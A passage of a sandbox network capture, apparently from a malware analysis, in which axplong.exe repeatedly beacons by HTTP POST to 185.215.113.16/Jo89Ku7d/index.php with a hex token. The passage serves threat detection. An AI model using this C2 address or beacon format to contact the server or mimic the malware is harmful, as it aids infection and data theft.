r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:16.764434099 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	65072	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:16.872104883 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:17.579579115 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:17.580671072 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:17.816270113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	65073	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:17.934891939 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:19.731122971 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:19.731821060 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:19.731959105 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:19.731976032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:19.733408928 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:19.964298010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	65074	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:20.075298071 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:20.784742117 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:20.786175966 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:21.025149107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	65075	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:21.137820005 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:21.838718891 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:21.841479063 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:22.065246105 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	65076	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:22.185002089 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:22.900418043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:22.901308060 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:23.133434057 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	65077	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:23.247329950 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:23.958262920 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:23.959089994 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:24.190504074 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	65079	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:24.312181950 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:25.010644913 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:25.011596918 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:25.251305103 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	65080	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:25.372445107 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:26.080391884 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:26.081221104 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:26.311265945 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	65081	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:26.419950962 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:27.127243996 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:27.128163099 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:27.357180119 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	65082	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:27.466196060 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:28.160341978 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:28.161339045 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:28.385201931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	65083	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:28.497158051 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:29.205689907 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:29.206495047 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:29.434858084 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	65084	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:29.545265913 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:30.236643076 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:30.255404949 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: 